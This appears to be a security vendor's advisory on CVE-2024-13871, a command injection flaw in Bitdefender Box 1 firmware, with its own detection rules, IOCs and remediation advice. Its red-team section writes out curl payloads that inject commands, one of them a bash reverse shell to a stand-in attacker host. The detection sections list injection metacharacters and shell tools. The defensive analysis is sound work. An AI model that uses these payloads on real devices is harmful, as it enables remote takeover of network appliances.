CVE-2024-13871

Executive Summary

CVE-2024-13871 is a critical command injection vulnerability discovered in the Bitdefender Box 1 IoT security device, specifically in firmware version 1.3.11.490. The flaw resides in the /check_image_and_trigger_recovery API endpoint, allowing an unauthenticated, network-adjacent attacker to inject arbitrary operating system commands. Successful exploitation leads to full remote code execution (RCE) on the device, compromising the integrity and confidentiality of the network it protects. The vulnerability is unpatched as of the latest advisory, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains high due to the potential for complete device takeover.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Adjacent Network (A) – attacker must be on the same network segment.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – exploitation does not affect other components.
• Confidentiality (C): High (H) – full device access.
• Integrity (I): High (H) – arbitrary command execution.
• Availability (A): High (H) – potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 8.8 (High)

Threat Level: High – unauthenticated RCE on a network security appliance.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the /check_image_and_trigger_recovery API endpoint. This endpoint is designed to validate firmware images and trigger recovery processes. The lack of proper input sanitization allows an attacker to inject shell metacharacters (e.g., ;, |, &&) into parameters processed by the backend. Since the endpoint is unauthenticated and accessible from the local network, an attacker can send crafted HTTP requests to execute arbitrary commands with the privileges of the web server (typically root on embedded devices).

Attack Flow:

1. Attacker gains network adjacency (e.g., via compromised IoT device, rogue access point, or physical access).
2. Attacker sends a POST request to /check_image_and_trigger_recovery with a malicious payload in a parameter (e.g., image_url).
3. The backend concatenates the input into a shell command without sanitization.
4. The injected command executes, granting the attacker a reverse shell or persistent backdoor.

Root Cause: The endpoint uses functions like system(), exec(), or popen() in C/C++ or shell scripts without proper input validation or escaping.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but representative of typical embedded device implementations.

Vulnerable Code (C pseudocode):

void handle_check_image(char *image_url) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "wget -O /tmp/image.bin %s && check_image /tmp/image.bin", image_url);
    system(cmd);
}

Patched Code (C pseudocode):

void handle_check_image(char *image_url) {
    // Validate URL format
    if (!is_valid_url(image_url)) {
        return_error("Invalid URL");
        return;
    }
    // Use execve with sanitized arguments
    char *args[] = {"/usr/bin/wget", "-O", "/tmp/image.bin", image_url, NULL};
    pid_t pid = fork();
    if (pid == 0) {
        execve(args[0], args, NULL);
    }
    // Additional validation
}

The patched version validates the input format and avoids shell interpretation by using execve directly.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Bitdefender Box 1 with firmware 1.3.11.490 (emulated or physical).
• Attacker machine on same subnet (e.g., Kali Linux).
• Network monitoring tools (Wireshark, tcpdump).

Exploitation Steps:

1. Reconnaissance: Scan for the device IP and open ports (typically 80/443 for web interface).
2. Craft Payload: Use curl to send a malicious request:

   curl -X POST http://<device_ip>/check_image_and_trigger_recovery \
   -d "image_url=http://attacker.com/payload;id"
   

3. Execute Command: The id command runs on the device. For a reverse shell:

   curl -X POST http://<device_ip>/check_image_and_trigger_recovery \
   -d "image_url=http://attacker.com/payload;bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
   

4. Post-Exploitation: Escalate privileges (likely already root), exfiltrate data, pivot.

No public exploit code is available; this is a theoretical PoC.

Blue Team

Detection & Response:

• Monitor HTTP POST requests to /check_image_and_trigger_recovery with unusual parameters (e.g., containing shell metacharacters).
• Deploy network intrusion detection (NIDS) rules to flag command injection patterns.
• Isolate the device on a separate VLAN with strict egress filtering.
• Enable logging and alerting on the device (if possible).

Honeypot: Set up a fake Bitdefender Box endpoint to capture exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /check_image_and_trigger_recovery with parameters containing ;, |, &&, $(), or backticks.
  • Outbound connections from the device to unknown IPs on high ports (e.g., 4444, 1337).
  • Unusual DNS queries from the device (e.g., to attacker-controlled domains).

• Host IOCs:

  • Unexpected processes spawned by the web server (e.g., bash, nc, python).
  • Modified or new files in /tmp (e.g., /tmp/image.bin with malicious content).
  • Changes to system binaries or startup scripts.

• File IOCs:

  • Suspicious files in /tmp or /var/tmp with recent timestamps.
  • Log entries in /var/log showing command injection attempts.

Detection Engineering

YARA Rule

rule CVE_2024_13871_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Bitdefender Box 1 /check_image_and_trigger_recovery endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13871"
    strings:
        $endpoint = "/check_image_and_trigger_recovery"
        $metachar1 = ";" ascii
        $metachar2 = "|" ascii
        $metachar3 = "&&" ascii
        $metachar4 = "$(" ascii
        $metachar5 = "`" ascii
    condition:
        $endpoint and any of ($metachar*)
}

Sigma Rule

title: CVE-2024-13871 Command Injection on Bitdefender Box 1
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects HTTP POST requests to /check_image_and_trigger_recovery with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/check_image_and_trigger_recovery'
    keywords:
        - ';'
        - '|'
        - '&&'
        - '$('
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13871 Bitdefender Box 1 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/check_image_and_trigger_recovery"; http_uri; pcre:"/(;|\||&&|\$\(|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Device: Place the Bitdefender Box 1 on a separate VLAN with strict firewall rules blocking inbound/outbound traffic except for essential services.
2. Disable the Endpoint: If possible, block access to /check_image_and_trigger_recovery via web server configuration or firewall.
3. Monitor Logs: Enable detailed logging and review for exploitation attempts.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Bitdefender. Contact support for an ETA.
• Manual Workaround: If source code is available, apply input validation and use parameterized commands.
• Replace Device: Consider replacing the device with a patched or alternative solution.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns.
• Use network segmentation to limit exposure.
• Implement host-based intrusion detection (HIDS) on the device if possible.

Valters IT
Securing Digital Frontiers